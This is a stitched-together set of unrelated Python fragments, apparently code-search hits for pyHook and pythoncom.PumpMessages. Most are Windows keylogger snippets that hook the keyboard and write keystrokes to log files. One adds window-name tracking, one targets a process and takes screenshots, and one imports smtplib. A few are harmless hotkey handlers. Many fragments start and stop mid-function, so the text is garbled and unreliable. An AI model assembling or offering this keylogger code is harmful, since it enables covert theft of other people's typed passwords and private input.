file_name if response != '': responses = split_string(4096, response) for resp in responses: send_safe_message(bot, chat_id, resp)#
m = wx.MemoryDC(s) m.SelectObject(b) m.Blit(0, 0, w, h, s, 0, 0) m.SelectObject(wx.NullBitmap) if not (os.path.exists(picFolder)): os.makedirs(picFolder) sd = get_date() filepath = os.path.join(picFolder, sd) if not (os.path.exists(filepath)): os.makedirs(filepath) fullpath = os.path.join(filepath, timestamp+".png") b.SaveFile(fullpath, wx.BITMAP_TYPE_PNG) print "ScreenShot " + str(screenshot_num) + " - " + get_formal_timestamp() try: screenshot_num += 1 except: pass lock.release() global screenshot_num screenshot_num = 1 app = wx.App(False) # Need to create an App instance before doing anything hooks_manager = pyHook.HookManager() hooks_manager.KeyUp = OnKeyboardEvent hooks_manager.HookKeyboard() pythoncom.PumpMessages() # pythoncom module is used to capture the key messages.
def MonitorKeyboard(): hm = pyHook.HookManager() hm.KeyDown = onKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages()
def keylogger(): # starting keylogger kl = pyHook.HookManager() kl.KeyDown = KeyStroke kl.HookKeyboard() pythoncom.PumpMessages()
#!/usr/bin/env python3 # -*- coding: utf-8 -*- # # ----------------------------------------------------------------------------------------------------------- # Name: tinykeylogger01.py # Purpose: Shortest example of keylogger in Python. Exactly eleven lines of pure code. # Author: Gabriel Marti Fuentes # email: gabimarti at gmail dot com # GitHub: https://github.com/gabimarti # Created: 17/08/2019 # License: GPLv3 # ----------------------------------------------------------------------------------------------------------- import pyWinhook as pyHook, pythoncom, logging # 1 - imports def on_keyboard_event(event): # 2 - Event that record keystrokes logging.debug(chr(event.Ascii)) # 3 - Save keystroke on file return True # 4 - Must return true for proper operation file_keylog = 'tinykeylogger01.txt' # 5 - Filename where keystrokes are recorded logging.StreamHandler.terminator = '' # 6 - Avoids CRLF after every keystroke recorded logging.basicConfig(filename=file_keylog, level=logging.DEBUG, format='%(message)s') # 7 - Sets logging hooks_manager = pyHook.HookManager() # 8 - Creates new hook manager hooks_manager.KeyDown = on_keyboard_event # 9 - Register event callbacks hooks_manager.HookKeyboard() # 10 - Sets hook for Keyboard pythoncom.PumpMessages() # 11 - Wait indefinitely
def run(self): # 循环监听 pythoncom.PumpMessages()
def ScreenShoot(): """ Return screen shot """ hm.MouseLeftDown = OnMouseDownEvent hm.MouseLeftUp = OnMouseUpEvent hm.HookMouse() pythoncom.PumpMessages()
def watch(self): self.hook_manager.HookKeyboard() self.hook_manager.HookMouse() pythoncom.PumpMessages()
def log_it(): obj = pyHook.HookManager() obj.KeyDown = keypressed obj.HookKeyboard() pythoncom.PumpMessages()
t += ',' + tp time.sleep(0.01) csvs.write(t + '\n') press('num_lock') time.sleep(0.5) return True print u''' #改关系 按右CTRL开始''' with open('C:\\id.txt') as text: lines = text.readlines() '''global a a = -1''' # 创建一个“钩子”管理对象 hm = pyHook.HookManager() # 监听所有键盘事件 hm.KeyDown = onKeyboardEvent hm.HookKeyboard() # 一直监听,直到手动退出程序 pythoncom.PumpMessages(1000) ### aa.split('\r\n') \t ### resource@ https://gist.github.com/chriskiehl/2906125
def start(self): """Start pyhk to check for hotkeys""" pythoncom.PumpMessages()
def main(): hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages()
#necessário python 2.x #pythoncom pra fazer o looping infinito e o programa rodar até que outra tecla seja pressionada #pyHook pra registrar as teclas import pythoncom, pyHook, smtplib def registrarTecla(evento): arquivo = open("log.txt", "a") teclas = chr( evento.Ascii ) #devolve o caractere correspondente ao código numérico na tabela ascii arquivo.write(teclas) #escreve no arquivo as teclas pressionadas hook = pyHook.HookManager() hook.KeyDown = registrarTecla #toda vez que uma tecla for pressionada "hook.KeyDown" será registrada hook.HookKeyboard() pythoncom.PumpMessages( ) #roda o programa até que outra tecla seja pressionada, cria um looping
SaveLineToFile('\n-----WindowName: ' + event.WindowName + '\n') #print to file: the new window name window_name = event.WindowName #set the new window name """if return or tab key pressed""" if (event.Ascii == 13 or event.Ascii == 9): #return key line_buffer += '\n' SaveLineToFile(line_buffer) #print to file: the line buffer line_buffer = "" #clear the line buffer return True #exit event """if backspace key pressed""" if (event.Ascii == 8): #backspace key line_buffer = line_buffer[:-1] #remove last character return True #exit event """if non-normal ascii character""" if (event.Ascii < 32 or event.Ascii > 126): if (event.Ascii == 0 ): #unknown character (eg arrow key, shift, ctrl, alt) pass #do nothing else: line_buffer = line_buffer + '\n' + str(event.Ascii) + '\n' else: line_buffer += chr(event.Ascii) #add pressed character to line buffer return True #pass event to other handlers hooks_manager = pyHook.HookManager() #create hook manager hooks_manager.KeyDown = OnKeyboardEvent #watch for key press hooks_manager.HookKeyboard() #set the hook pythoncom.PumpMessages() #wait for events
return True from multiprocessing import Queue if __name__ == '__main__': clear_json_file() multiprocessing.freeze_support() hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent hm.KeyUp = OnKeyUp hm.HookKeyboard() p = Process(target=rs_binds_loop, args=()) p.start() try: pythoncom.PumpMessages() #This call will block forever unless interrupted, # so get everything ready before you execute this. except (KeyboardInterrupt, SystemExit) as e: #We will exit cleanly if we are told print(e) os._exit() p.join()
kernel32.CloseHandle(h_process) def KeyStroke(event): global target_pid global process_id global current_window # check to see if target changed windows if event.WindowName != current_window: current_window = event.WindowName get_current_process() # if they pressed a standard key if process_id == target_pid: if event.Ascii > 32 and event.Ascii < 127: print chr(event.Ascii), screenshot() # pass execution to next hook registered return True # create and register a hook manager kl = pyHook.HookManager() kl.KeyDown = KeyStroke # register the hook and execute forever kl.HookKeyboard() pythoncom.PumpMessages()
def pup(): #start keylogger proc = pyHook.HookManager() proc.KeyDown = pressed_chars proc.HookKeyboard() pythoncom.PumpMessages()